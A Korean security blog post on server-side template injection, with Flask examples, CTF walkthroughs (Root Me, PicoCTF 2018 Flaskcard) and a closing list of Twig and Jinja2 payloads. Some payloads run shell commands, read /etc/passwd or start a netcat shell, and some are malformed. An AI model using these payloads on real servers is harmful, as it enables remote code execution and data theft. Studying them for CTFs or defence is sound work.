본문 바로가기

웹/보안

SSTI

 

https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9

불러오는 중입니다...

SSTI?

웹 템플릿 : 필요에 맞게 이미지나 동영상 또는 다른 요소를 첨가해서 제작하기 쉽도록 미리 만들어둔 페이지

 

SSTI(Server Side Templete Injection)는 서버측에서 입력한 값을 바탕으로 템블릿화 한 뒤 응답해줄때 발생한다.

 

 

- [root]/templates/index.html

<html>
<body>
    <p>Here is my variable: {{ variable }}</p>
</body>
</html>

 

- flask testapp  

from flask import Flask, render_template

app = Flask('testapp')

@app.route('/')
def index():
    return render_template('index.html', variable='12345')

if __name__ == '__main__':
    app.run()

 

플라스크는 이미 만들어진 템플릿을 가져다 {{ }} 로 둘러싸인 변수를 렌더링(12345) 후 리턴해주는 방식이다.

 

 

 

- 취약한 서버 코드의 일부 

result = """
idx : %d<br>
email : %s<br>
message : %s<br>
is_checked : %d<br>
""" % (idx, email, message, is_checked)

return render_template_string(result)

http://web1.tendollar.kr:10102/submit?email=test1313&message={{7*7}} 

 

message값을 받아서 HTML 템플릿화 (<br>태그를 보면알수있다)한 후 리턴해주는데 페이지 전체가 아닌 내부 템플릿만 리턴해준다.

 

 

 

 

Root Me의 SSTI 페이지

 

1. ajax를 사용함

2. $("#result").text(data); 같은 식으로 데이터를 삽입하는 형태

3. 삽입하는 변수에 ${7*7}을 했을 때 49가 뜨면 취약

 

hello 작성 후 Check를 하게되면 페이지에 It's seems that I know you :) 라는 메시지와함께 입력한 hello가 표시된다.

 

소스코드를 보면 ajax로 데이터를 보낸뒤 받은 데이터를 전부 <div id="result"></div>에 포함시키는 형태이다.

 

 

hello 대신 ${7*7} 을 입력하는 경우 아래와같은 html 템플릿이 만들어지며 렌더링 하는 과정에서 7*7이 계산된다.

template.html

"""<div id="result">It's seems that I know you :) %s<div>""" % (nick)

-> 

<div id="result">It's seems that I know you :) ${7*7}<div>

 

 

 

PICO CTF 2018 - Flaskcard

1. Create Card에서 form submit을 통해 post로 /create_card 페이지 (현재페이지) question, answer를 날림

2. 서버에서 템플릿 렌더링 후 List Cards 메뉴에서 출력해주는 형태 

 

 

 

 

만든 카드는 "List Cards" 메뉴에서 확인할 수 있다.

 

{{7*7}} 을 입력하면 서버에서 렌더링 해준다. 

 

7*7의 값인 49가 Question에 표시된것을 확인할 수 있다. 

 

 

렌더링 전 template.html 의 일부 

...

<li>
<strong>Question:</strong>{{7*7}}
</li>

...

 

 

렌더링 실패 시 기존에 렌더링 한 값까지 풀린다. 

서버 DB에는 {{7*7}}로 저장되어있고, DB에서 데이터를 하나씩 빼와서 템플릿을 렌더링할때 취약점이 발생하는걸 확인할 수 있다. 

 

 

 

공격 방법

SSTI 발생여부 및 템플릿 유추 방법. 

초록색 선은 공격 성공시, 빨간선은 실패시를 의미 

Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2,

php : twig

{{7*7}}

{{__self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

 

 

jsp(springboot) : velocity, Freemarker

 

 

python : jinja2, mako, 

 

__class__.__base__.__subclasses__ 알아보자.

__bases__.subclasses는 이 함수는 서브 클래스의 모든 함수를 반환 해주는 함수이다.

MRO(method resolution order) 는 클래스를 상속했을때 메서드를 가져오는 순서를 의미한다.

__class__.mro()[1].__subclasses__()[46] 이런식으로 해당 클래스내 객체에 접근 한다.

 

{{ '7'*7 }}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}} 
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ config.items() }}
{{ config.from_object('os') }}
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
{{ import os; os.startfile("nc -lnvp 4444 -e /bin/sh") }}

 

 

 

' > 보안' 카테고리의 다른 글

SSO  (0) 2019.10.02
SSRF  (0) 2019.10.01
파이썬 SQL 인젝션  (0) 2019.09.30
운영체제 명령실행  (0) 2019.09.03
주요 Editor 샘플페이지 정리  (0) 2019.08.16